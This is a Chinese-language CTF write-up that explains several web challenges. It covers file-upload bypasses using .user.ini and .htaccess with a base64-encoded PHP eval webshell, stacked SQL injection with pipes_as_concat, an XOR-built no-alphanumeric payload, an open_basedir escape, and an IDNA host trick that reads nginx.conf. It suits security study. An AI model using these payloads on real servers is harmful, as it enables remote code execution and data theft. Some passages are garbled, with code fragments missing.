一道文件上传的题目,首先尝试上传最简单的一句话木马shell.php
后缀被检测,尝试上传一个txt文件
在php手册中查找一下exif_imagetype
函数
也就是说他会检测我们上传文件的签名。
我们在上传包含最简单的一句话木马的图片马,提示被检测,修改一句话木马为
进行上传
错误码为405,方法不被允许,也就是说我们上传的图片马没有被成功解析,考虑上传.user.ini
或者.htaccess
进行文件上传。
.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。
我们在.user.ini当中写入内容为
auto_prepend_file=shell.jpg
起到的作用类似于在每一个php文件前require('shell.jpg')
,也就是起到了一个了文件包含的作用
抓包修改文件头后进行上传,jpg图像的标识头ff d8 ff e0 00 10 4a 46 49 46 00 01
上传成功后也就是说明我们的index.php包含了我们上传一句话木马的图片,也就可以利用图片中的一句话木马进行getshell
由官方wp的解释来看,这道题目需要我们去对后端语句进行猜测,有点矛盾的地方在于其描述的功能和实际的功能似乎并不相符,通过输入非零数字得到的回显1和输入其余字符得不到回显来判断出内部的查询语句可能存在有||
,也就是select 输入的数据||内置的一个列名 from 表名
,进一步进行猜测即为select post进去的数据||flag from Flag(含有数据的表名,通过堆叠注入可知)
,需要注意的是,此时的||
起到的作用是or
的作用。
输入的内容为*,1
内置的sql语句为$sql = "select ".$post['query']."||flag from Flag";
如果$post['query']
的数据为*,1
,sql语句就变成了select *,2||flag from Flag
,也就是select *,1 from Flag
,也就是直接查询出了Flag
表中的所有内容
输入的内容为1;set sql_mode=pipes_as_concat;select 1
其中set sql_mode=pipes_as_concat;
的作用为将||
的作用由or
变为拼接字符串,这是我在本地做的测试,我们执行的语句分别为select 1和set sql_mode=pipes_as_concat和select 1||flag from Flag,读出flag
首先是一个正则表达式
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
检测一下还有什么可用字符
?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ ";
for($i=0;$i<95;$i++){
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $content[$i] )){
echo " ";
}
else{
echo $content[$i];
}
}
?>
当时做到这里就有点麻瓜了,做过类似的不使用数字和字母命令执行的题目,但限制长度为18导致很多复杂的构造无法完成,这里用到的关键符号就是^
,用到的方法是利用不可见字符的异或来构造_GET
对函数进行调用,首先是获取_GET
的ascii码值
然后使用0xff
分别对这几个字符进行异或操作
得到了0xa0b8baab
(均为不可见字符),将其与0xffffffff
进行异或操作,最后的payload为
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
文件上传的界面采用了exif_imagetype
的校验方式
在文件头加上\x00\x00\x8a\x39\x8a\x39
对校验进行绕过,先上传.htaccess
文件,内容为
AddType application/x-httpd-php .cc
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.cc"
第一句的解释为将.cc
后缀的文件作为php解析
第二句话的解释为
也就是upload目录下的文件都会自动包含php://filter/convert.base64-decode/resource=shell.cc
的内容,之所以这么写是因为我们无法在该php版本使用对
进行绕过,因此我们在将一句话木马进行base64编码后在
.htaccess
声明base64解码后进行包含即可完成对文件内容的校验绕过,这也就需要我们上传的.cc
文件的内容为
PD9waHAgZXZhbCgkX0dFVFsnYyddKTs/Pg==
加上文件头\x00\x00\x8a\x39\x8a\x39
之后位数不为4的倍数,无法正常解码,我们在内容前补上两个0
完成对位数的补齐
也就是最后的内容为
\x00\x00\x8a\x39\x8a\x3900PD9waHAgZXZhbCgkX0dFVFsnYyddKTs/Pg==
上传完成后即可getshell
禁用了一系列命令执行的函数,我们使用print_r(scandir("../../"))
时得到了一个假的flag…再去进行目录遍历时读取目录失败,考虑到open_basedir
的限制,绕过的payload为chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
即可读取根目录的内容后进行读取。
进入题目后即可得到源码
题目需要我们做到的是传入url的host
在经过encode('idna').decode('utf-8')
前不为suctf.cc
,处理过后为suctf.cc
。这用到了urllib模块的编码问题
这也就是说我们传入的url为http://evil.c℀.office.com
在经过上述处理过后便成为了http://evil.a/c.office.com
我们就可以利用传入
http://47.111.59.243:9000/getUrl?url=file://suctf.c℆sr/local/nginx/conf/nginx.conf
读取配置文件后完成对flag的读取